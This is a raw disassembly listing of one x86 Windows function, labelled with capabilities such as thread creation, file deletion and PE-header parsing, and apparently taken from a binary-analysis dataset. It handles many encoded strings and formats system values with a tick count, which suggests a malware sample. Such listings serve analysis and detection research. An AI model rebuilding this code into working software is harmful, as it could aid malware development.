Function at 0x409fc0
Capabilities:
Create thread
Delete file
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57775d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x180
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], 0
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c49a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x5c], eax
push str.aG1JhQhgfMJiYdxDj0
lea ecx, [ebp - 0x5c]
mov dword [ebp - 4], 0
call fcn.0042f380
test al, al
jne 0x40a048
push 0x13
push str.aG1JhQhgfMJiYdxDj0
lea ecx, [ebp - 0x5c]
call fcn.0042f6b0
mov dword [ebp - 4], 1
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c4a4
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xac], eax
push str.cjdIFVBFY7JiAXCTzwhQE1sXfOxRRhLSY
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 2
call fcn.0042f380
test al, al
jne 0x40a098
push 0x22
push str.cjdIFVBFY7JiAXCTzwhQE1sXfOxRRhLSY
lea ecx, [ebp - 0xac]
call fcn.0042f6b0
mov byte [ebp - 4], 3
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c4ae
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa4], eax
push str.b3VlCQx8QOFyoA5EQwgRDhk6pLAkTrADE
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 4
call fcn.0042f380
test al, al
jne 0x40a0e5
push 0x22
push str.b3VlCQx8QOFyoA5EQwgRDhk6pLAkTrADE
lea ecx, [ebp - 0xa4]
call fcn.0042f6b0
mov byte [ebp - 4], 5
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c4b8
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa0], eax
push str.ZHhqYVgIRpBjM7YHRgkzCwo
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 6
call fcn.0042f380
test al, al
jne 0x40a132
push 0x18
push str.ZHhqYVgIRpBjM7YHRgkzCwo
lea ecx, [ebp - 0xa0]
call fcn.0042f6b0
mov byte [ebp - 4], 7
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c4c2
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x78], eax
push str.bkpVBNwIriJkMxHIzEKUSy4
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 8
call fcn.0042f380
test al, al
jne 0x40a176
push 0x18
push str.bkpVBNwIriJkMxHIzEKUSy4
lea ecx, [ebp - 0x78]
call fcn.0042f6b0
mov byte [ebp - 4], 9
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c4cc
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xb8], eax
push str.dTJwIYzlTqAxchvWx0G
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0xa
call fcn.0042f380
test al, al
jne 0x40a1c3
push 0x13
push str.dTJwIYzlTqAxchvWx0G
lea ecx, [ebp - 0xb8]
call fcn.0042f6b0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x190]
push 0x18
xorps xmm0, xmm0
mov dword [ebp - 0x180], 0
push str.M0NyDYUMm2AAhcDJxsCEUi8
movups xmmword [ebp - 0x190], xmm0
mov dword [ebp - 0x17c], 0
call fcn.0042d740
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x178]
push 0x95
xorps xmm0, xmm0
mov dword [ebp - 0x168], 0
push str.QnND6aTlRgIhkyAUXkSVYBwlCDycBKYVM5hUSwPJJBYxXICwV9LEt4hCGEGhKxdhLU2cXab0stGBzoZgJ1F5RSzIW3MQAtvFyoKEIx9hPFD9frYRoqNHDQ2lNRotUDS0ECYVNg5HCUPcJwFhsFD8
movups xmmword [ebp - 0x178], xmm0
mov dword [ebp - 0x164], 0
call fcn.0042d740
mov byte [ebp - 4], 0xe
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c49a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x74], eax
mov byte [ebp - 4], 0x10
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c49a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov byte [ebp - 4], 0x12
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c49a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0x34], esi
mov byte [ebp - 4], 0x14
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c4d6
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xc0], eax
mov byte [ebp - 4], 0x16
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c4e0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xbc], eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x15c]
push 0x13
xorps xmm0, xmm0
mov dword [ebp - 0x14c], 0
push str.amk34UAwInGSgHfBQ
movups xmmword [ebp - 0x15c], xmm0
mov dword [ebp - 0x148], 0
call fcn.0042d740
sub esp, 0x18
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x15c]
mov ecx, esp
push eax
call fcn.0042eb20
lea ecx, [ebp - 0x4c]
call fcn.004451c0
mov byte [ebp - 4], 0x19
push dword [eax]
lea eax, [ebp - 0x74]
push dword [edi + 4]
push str._ws_ws
push eax
call fcn.00421a10
mov byte [ebp - 4], 0x18
add esp, 0x28
mov edx, dword [ebp - 0x4c]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a361
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x13
xorps xmm0, xmm0
mov dword [ebp - 0x134], 0
push str.VWZUPbBkHrJxgccIg
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x130], 0
movups xmmword [ebp - 0x144], xmm0
call fcn.0042d740
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x12c]
push 0x13
xorps xmm0, xmm0
mov dword [ebp - 0x11c], 0
push str.YWw57MC0NOSkQ1wBVRV
movups xmmword [ebp - 0x12c], xmm0
mov dword [ebp - 0x118], 0
call fcn.0042d740
push ecx
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x4c], esp
push ecx
mov edi, esp
mov dword [ebp - 0x20], edi
mov ecx, dword [0x5c8f24]
lea ecx, [ecx - 0x10]
call fcn.0042ea10
mov ecx, dword [ebp - 0x4c]
add eax, 0x10
mov dword [edi], eax
call fcn.004455a0
sub esp, 0x18
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x144]
mov ecx, esp
push eax
call fcn.0042eb20
mov ecx, edi
call fcn.004451c0
add esp, 0x18
mov byte [ebp - 4], 0x1b
mov edx, SysReAllocString
lea ecx, [ebp - 0x24]
call fcn.004486a0
push dword [eax]
call fcn.0055436f
mov edx, dword [ebp - 0x24]
add esp, 0xc
mov dword [ebp - 0x58], eax
add edx, 0xfffffff0
or ecx, 0xffffffff
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x40a449
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push ecx
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x4c], esp
push ecx
mov edi, esp
mov dword [ebp - 0x20], edi
mov ecx, dword [0x5c8f24]
lea ecx, [ecx - 0x10]
call fcn.0042ea10
mov ecx, dword [ebp - 0x4c]
add eax, 0x10
mov dword [edi], eax
call fcn.004455a0
sub esp, 0x18
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0x12c]
mov ecx, esp
push eax
call fcn.0042eb20
mov ecx, edi
call fcn.004451c0
add esp, 0x18
mov byte [ebp - 4], 0x1b
mov edx, SysReAllocString
lea ecx, [ebp - 0x24]
call fcn.004486a0
push dword [eax]
call fcn.0055436f
mov edx, dword [ebp - 0x24]
add esp, 0xc
mov dword [ebp - 0x4c], eax
add edx, 0xfffffff0
or ecx, 0xffffffff
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x40a4c9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c4ea
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x70], eax
push str.U1Zi8RDsiXFjQgobE1rDIzUDnNCN4BETA8xJAdrMPTkWbLTUvBPSUjjJj0yPYXgSWLCNp4BTE6JMl8
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x1e
call fcn.0042f380
test al, al
jne 0x40a509
push 0x4f
push str.U1Zi8RDsiXFjQgobE1rDIzUDnNCN4BETA8xJAdrMPTkWbLTUvBPSUjjJj0yPYXgSWLCNp4BTE6JMl8
lea ecx, [ebp - 0x70]
call fcn.0042f6b0
mov byte [ebp - 4], 0x1f
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c4f4
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x94], eax
push str.OFliKWR41jAypMcMAZk
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x20
call fcn.0042f380
test al, al
jne 0x40a556
push 0x13
push str.OFliKWR41jAypMcMAZk
lea ecx, [ebp - 0x94]
call fcn.0042f6b0
mov byte [ebp - 4], 0x21
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c4fe
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x90], eax
push str.UXhNuOHcUOLEsl4DCRVrNEU
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x22
call fcn.0042f380
test al, al
jne 0x40a5a3
push 0x18
push str.UXhNuOHcUOLEsl4DCRVrNEU
lea ecx, [ebp - 0x90]
call fcn.0042f6b0
mov byte [ebp - 4], 0x23
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c508
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x8c], eax
push str.T2hnSQWkGmCCIuTCw8krcg
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x24
call fcn.0042f380
test al, al
jne 0x40a5f0
push 0x18
push str.T2hnSQWkGmCCIuTCw8krcg
lea ecx, [ebp - 0x8c]
call fcn.0042f6b0
mov byte [ebp - 4], 0x25
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c512
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x88], eax
push str.OUJmhbx8n2CAtm6NFs
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x26
call fcn.0042f380
test al, al
jne 0x40a63d
push 0x13
push str.OUJmhbx8n2CAtm6NFs
lea ecx, [ebp - 0x88]
call fcn.0042f6b0
cmp dword [ebx + 8], 0
mov byte [ebp - 4], 0x27
jne 0x40a7e5
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push ecx
mov edi, esp
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], edi
mov ecx, dword [ebp - 0x8c]
add ecx, 0xfffffff0
mov dword [ebp - 0x24], edx
call fcn.0042ea10
add eax, 0x10
lea ecx, [ebp - 0x54]
mov dword [edi], eax
call fcn.004455a0
mov ecx, dword [ebp - 0x40]
mov byte [ebp - 4], 0x28
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x1c], edi
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0x50], eax
lea ecx, [ecx - 0x10]
call fcn.0042ea10
add eax, 0x10
lea ecx, [ebp - 0x60]
mov dword [edi], eax
call fcn.004455a0
mov byte [ebp - 4], 0x29
mov eax, dword [eax]
mov dword [ebp - 0x1c], edi
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x48], eax
lea ecx, [ecx - 0x10]
call fcn.0042ea10
add eax, 0x10
lea ecx, [ebp - 0x98]
mov dword [edi], eax
call fcn.004455a0
mov byte [ebp - 4], 0x2a
mov eax, dword [eax]
mov dword [ebp - 0x1c], edi
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x7c], eax
lea ecx, [ecx - 0x10]
call fcn.0042ea10
add eax, 0x10
lea ecx, [ebp - 0x64]
mov dword [edi], eax
call fcn.004455a0
mov ecx, dword [ebp - 0x40]
mov byte [ebp - 4], 0x2b
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov eax, dword [ecx]
mov dword [ebp - 0x1c], edi
mov ecx, dword [ebp - 0x70]
mov dword [ebp - 0xb0], eax
lea ecx, [ecx - 0x10]
call fcn.0042ea10
add eax, 0x10
lea ecx, [ebp - 0x84]
mov dword [edi], eax
call fcn.004455a0
add esp, 4
mov byte [ebp - 4], 0x2c
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x30]
push dword [ebp - 0x50]
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push dword [ebp - 0x7c]
push dword [ebp - 0x58]
push dword [ebp - 0x80]
push dword [ebp - 0xb0]
push dword [eax]
lea eax, [ebp - 0xa8]
push str._ws_ws_ws_d_ws_d_ws_ws_ws_llu
push eax
call fcn.00421a10
mov edx, dword [ebp - 0x84]
or edi, 0xffffffff
add esp, 0x34
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a789
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x64]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a7a3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x98]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a7c0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x60]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a7da
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x54]
add edx, 0xfffffff0
jmp 0x40aa27
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c51c
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
push str.Qjhs2UGReIAyIhjXVE
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x2d
call fcn.0042f380
test al, al
jne 0x40a825
push 0x13
push str.Qjhs2UGReIAyIhjXVE
lea ecx, [ebp - 0x24]
call fcn.0042f6b0
push ecx
mov byte [ebp - 4], 0x2e
mov edi, esp
mov dword [ebp - 0x1c], edi
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0042ea10
add eax, 0x10
lea ecx, [ebp - 0x20]
mov dword [edi], eax
call fcn.004455a0
add esp, 4
mov byte [ebp - 4], 0x2f
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push ecx
mov edi, esp
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x64], edi
mov ecx, dword [ebp - 0x8c]
add ecx, 0xfffffff0
mov dword [ebp - 0x60], edx
call fcn.0042ea10
add eax, 0x10
lea ecx, [ebp - 0x38]
mov dword [edi], eax
call fcn.004455a0
mov ecx, dword [ebp - 0x40]
mov byte [ebp - 4], 0x30
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0xb0], edi
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0x84], eax
lea ecx, [ecx - 0x10]
call fcn.0042ea10
add eax, 0x10
lea ecx, [ebp - 0x44]
mov dword [edi], eax
call fcn.004455a0
mov byte [ebp - 4], 0x31
mov ecx, dword [ebp - 0x90]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x80], edi
lea ecx, [ecx - 0x10]
call fcn.0042ea10
add eax, 0x10
lea ecx, [ebp - 0x48]
mov dword [edi], eax
call fcn.004455a0
mov byte [ebp - 4], 0x32
mov ecx, dword [ebp - 0x94]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edi
lea ecx, [ecx - 0x10]
call fcn.0042ea10
add eax, 0x10
lea ecx, [ebp - 0x50]
mov dword [edi], eax
call fcn.004455a0
mov ecx, dword [ebp - 0x40]
mov byte [ebp - 4], 0x33
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov eax, dword [ecx]
mov dword [ebp - 0x2c], edi
mov ecx, dword [ebp - 0x70]
mov dword [ebp - 0x28], eax
lea ecx, [ecx - 0x10]
call fcn.0042ea10
add eax, 0x10
lea ecx, [ebp - 0x30]
mov dword [edi], eax
call fcn.004455a0
add esp, 4
push dword [ebx + 8]
mov byte [ebp - 4], 0x34
push dword [ebp - 0x54]
push dword [ebp - 0x60]
push dword [ebp - 0x98]
push dword [ebp - 0x64]
push dword [ebp - 0x84]
push dword [ebp - 0xb0]
push dword [ebp - 0x4c]
push dword [ebp - 0x80]
push dword [ebp - 0x58]
push dword [ebp - 0x7c]
push dword [ebp - 0x28]
push dword [eax]
lea eax, [ebp - 0xa8]
push str._ws_ws_ws_d_ws_d_ws_ws_ws_llu_ws_lu
push eax
call fcn.00421a10
mov edx, dword [ebp - 0x30]
or edi, 0xffffffff
add esp, 0x3c
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a9a2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x50]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a9bc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a9d6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a9f0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x38]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40aa0a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40aa24
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40aa3b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea edx, [ebp - 0x74]
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0xa8]
call fcn.00449750
push 0x58f360
push dword [ebp - 0x74]
call fcn.00554565
add esp, 8
mov dword [ebp - 0x50], eax
test eax, eax
je 0x40bed7
mov edx, eax
lea ecx, [ebp - 0x38]
call fcn.00448a50
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x36
lea ecx, [esi - 0x10]
mov edx, dword [eax]
add edx, 0xfffffff0
mov dword [ebp - 0x1c], ecx
cmp edx, ecx
je 0x40aad9
mov eax, dword [ecx + 0xc]
lea esi, [ecx + 0xc]
shr eax, 0x1f
test al, al
jne 0x40aac6
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x40aac6
mov ecx, edx
call fcn.0042ea10
mov dword [ebp - 0x20], eax
mov ecx, edi
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x40aabe
mov edx, dword [ebp - 0x1c]
push edx
mov ecx, dword [edx]
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x20]
lea esi, [eax + 0x10]
mov dword [ebp - 0x34], esi
jmp 0x40aad9
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x34]
push dword [edx + 4]
push dword [eax]
call fcn.0042f6b0
mov esi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x38]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40aaf3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, 0x594714
mov eax, esi
nop word [eax + eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40ab26
test dx, dx
je 0x40ab22
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40ab26
add eax, 4
add ecx, 4
test dx, dx
jne 0x40ab00
xor eax, eax
jmp 0x40ab2b
sbb eax, eax
or eax, 1
mov byte [ebp - 4], 0x35
test eax, eax
jne 0x40ac40
mov edx, dword [ebp - 0x50]
lea ecx, [ebp - 0x38]
call fcn.00448a50
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x40]
mov byte [ebp - 4], 0x38
mov eax, dword [eax]
add eax, 0xfffffff0
mov ecx, dword [edx + 0x48]
sub ecx, 0x10
mov dword [ebp - 0x3c], ecx
cmp eax, ecx
je 0x40abc7
lea eax, [ecx + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [eax]
shr eax, 0x1f
test al, al
jne 0x40abb3
mov ecx, dword [ebp - 0x24]
mov eax, dword [ecx]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [eax - 0x10]
cmp eax, dword [ecx]
jne 0x40abb3
mov edx, dword [ebp - 0x24]
mov ecx, dword [edx]
lea ecx, [ecx - 0x10]
call fcn.0042ea10
mov edx, dword [ebp - 0x1c]
mov ecx, edi
mov dword [ebp - 0x20], eax
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40aba8
mov edx, dword [ebp - 0x3c]
push edx
mov ecx, dword [edx]
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x40]
add eax, 0x10
mov dword [ecx + 0x48], eax
jmp 0x40abc7
mov esi, dword [ebp - 0x24]
mov ecx, dword [esi]
push dword [ecx - 0xc]
push ecx
lea ecx, [edx + 0x48]
call fcn.0042f6b0
mov esi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x38]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40abe1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ecx + 0x48]
mov ecx, 0x594714
nop dword [eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40ac16
test dx, dx
je 0x40ac12
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40ac16
add eax, 4
add ecx, 4
test dx, dx
jne 0x40abf0
xor eax, eax
jmp 0x40ac1b
sbb eax, eax
or eax, 1
mov byte [ebp - 4], 0x35
test eax, eax
jne 0x40bebe
mov ecx, dword [ebp - 0x40]
push eax
push 0x594824
mov byte [ecx + 0x1a], al
lea ecx, [ecx + 0x48]
call fcn.0042f6b0
jmp 0x40bebe
mov ecx, 0x58f364
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40ac6d
test dx, dx
je 0x40ac69
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40ac6d
add eax, 4
add ecx, 4
test dx, dx
jne 0x40ac47
xor eax, eax
jmp 0x40ac72
sbb eax, eax
or eax, 1
mov byte [ebp - 4], 0x35
test eax, eax
jne 0x40b5ba
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c526
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
push 0x594824
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x3b
call fcn.0042f380
test al, al
jne 0x40acbe
push 0
push 0x594824
lea ecx, [ebp - 0x24]
call fcn.0042f6b0
mov byte [ebp - 4], 0x3c
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c530
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push 0x594824
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x3d
call fcn.0042f380
test al, al
jne 0x40ad02
push 0
push 0x594824
lea ecx, [ebp - 0x28]
call fcn.0042f6b0
mov byte [ebp - 4], 0x3e
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x40c53a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
push 0x594824
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x3f
call fcn.0042f380
test al, al
jne 0x40ad46
push 0
push 0x594824
lea ecx, [ebp - 0x30]
call fcn.0042f6b0
push ecx
mov byte [ebp - 4], 0x40
mov dword [ebp - 0x1c], esp
mov ecx, dword [ebp - 0xac]
lea ecx, [ecx - 0x10]
call fcn.0042ea10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x44]
call fcn.004455a0
add esp, 4
mov dword [ebp - 0x20], eax
push ecx
mov byte [ebp - 4], 0x41
mov dword [ebp - 0x1c], esp
mov ecx, dword [ebp - 0x5c]
add ecx, 0xfffffff0
call fcn.0042ea10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x38]
call fcn.004455a0
add esp, 4
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x42
mov edx, dword [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, eax
call fcn.00459130
mov edx, dword [ebp - 0x38]
add esp, 0xc
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40adcd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ade7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x30]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ae01
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ae1b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x35
mov eax, edi
mov edx, dword [ebp - 0x24]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ae39
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x18
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0
call fcn.0054dc34
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x6c], eax
mov byte [ebp - 4], 0x43
push dword [ebp - 0x50]
call fcn.00554587
add esp, 4
test eax, eax
jne 0x40b4b9
mov edx, dword [ebp - 0x50]
lea ecx, [ebp - 0x38]
call fcn.00448a50
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x44
lea ecx, [esi - 0x10]
mov edx, dword [eax]
add edx, 0xfffffff0
mov dword [ebp - 0x1c], ecx
cmp edx, ecx
je 0x40aeeb
mov eax, dword [ecx + 0xc]
lea esi, [ecx + 0xc]
shr eax, 0x1f
test al, al
jne 0x40aed8
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x40aed8
mov ecx, edx
call fcn.0042ea10
mov dword [ebp - 0x20], eax
mov ecx, edi
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x40aed0
mov edx, dword [ebp - 0x1c]
push edx
mov ecx, dword [edx]
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x20]
lea esi, [eax + 0x10]
mov dword [ebp - 0x34], esi
jmp 0x40aeeb
